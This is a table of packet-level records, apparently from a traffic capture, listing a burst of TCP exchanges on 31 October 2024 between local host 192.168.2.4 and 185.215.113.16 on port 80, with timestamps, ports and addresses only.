Oct 31, 2024 23:37:19.490098000 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490112066 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490123987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490185022 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.490210056 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490221977 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490263939 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.490329981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490341902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490377903 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.490458965 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490469933 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490479946 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490492105 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490502119 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490502119 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.490513086 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.490546942 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.490571022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490581989 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490592957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490605116 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490622044 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490632057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490632057 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.490643024 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.490669966 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.490706921 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490719080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490727901 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490740061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490750074 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490753889 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.490763903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490767956 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.490797043 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.490853071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490863085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490906954 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.490986109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.490997076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491005898 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491018057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491031885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491034031 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.491043091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491053104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491063118 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491065979 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.491074085 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.491074085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491086006 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491096973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491099119 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.491107941 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491125107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491134882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491136074 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.491147041 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491162062 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.491163015 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491173029 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.491177082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491189003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491199970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491203070 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.491224051 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.491365910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491377115 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491388083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491399050 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491403103 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.491411924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491422892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491427898 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.491457939 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.491488934 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491502047 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.491527081 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.492166042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.492175102 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.492230892 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.607228994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607239962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607250929 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607296944 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.607325077 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607336998 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607346058 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607358932 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607372999 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.607399940 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.607579947 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607597113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607608080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607616901 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607621908 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.607630014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607640028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607650042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607651949 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.607662916 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.607666969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607677937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607686043 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.607688904 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607703924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607712984 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607716084 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.607726097 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607731104 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.607769966 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.607857943 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607871056 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607880116 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607889891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607899904 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.607899904 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607922077 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.607924938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607937098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607947111 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607958078 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607964993 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.607968092 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.607995033 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608001947 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608011961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608021975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608023882 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608033895 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608045101 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608047009 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608056068 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608067989 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608072996 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608079910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608091116 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608093023 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608102083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608114004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608118057 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608134985 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608201981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608212948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608222961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608231068 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608241081 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608242035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608253956 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608263969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608261108 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608275890 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608283997 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608293056 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608299017 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608304977 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608320951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608325958 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608333111 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608341932 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608351946 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608362913 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608365059 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608376026 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608381987 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608393908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608398914 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608405113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608417034 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608427048 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608433008 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608437061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608443022 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608448982 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608459949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608467102 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608494997 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608503103 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608506918 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608520031 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608551979 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608685970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608697891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608706951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608719110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608728886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608735085 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608735085 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608741999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608753920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608764887 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608768940 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608776093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608787060 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608797073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.608798981 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608804941 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.608834028 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.609066963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609077930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609087944 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609097958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609107018 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.609108925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609121084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609132051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609142065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609147072 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.609153032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609164953 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609173059 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.609175920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609181881 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.609186888 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609204054 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.609208107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609220028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609232903 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.609236002 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609247923 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609256983 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.609256983 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609272957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609281063 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.609282970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609294891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609302998 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.609306097 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609318018 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609324932 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.609333992 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.609357119 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.615434885 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.623037100 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.623111963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.623168945 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.656127930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.656140089 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.656148911 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.656295061 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.697160959 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.724462032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724473953 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724484921 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724509001 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.724539995 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724558115 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724567890 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724579096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724591017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724601030 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724602938 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.724613905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724637032 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.724653006 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.724751949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724762917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724800110 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.724842072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724853039 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724862099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724874020 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724885941 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724884987 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.724898100 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.724919081 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.724944115 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725059032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725070000 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725079060 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725090981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725100040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725102901 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725111961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725120068 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725123882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725135088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725147963 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725182056 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725264072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725275993 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725289106 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725311041 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725444078 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725460052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725469112 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725480080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725490093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725497007 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725501060 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725507975 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725514889 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725537062 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725541115 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725553036 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725557089 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725569963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725581884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725591898 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725594997 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725605011 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725619078 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725624084 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725629091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725641012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725644112 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725651979 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725662947 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725661993 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725673914 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725694895 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725707054 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725847006 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725857019 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725866079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725876093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725895882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725897074 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725908995 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725917101 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725919962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725933075 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725944042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725953102 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725955963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.725979090 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.725991964 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726025105 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726037025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726052046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726072073 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726155996 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726167917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726200104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726207972 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726232052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726244926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726264000 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726281881 CET	49739	80	192.168.2.4	185.215.113.16
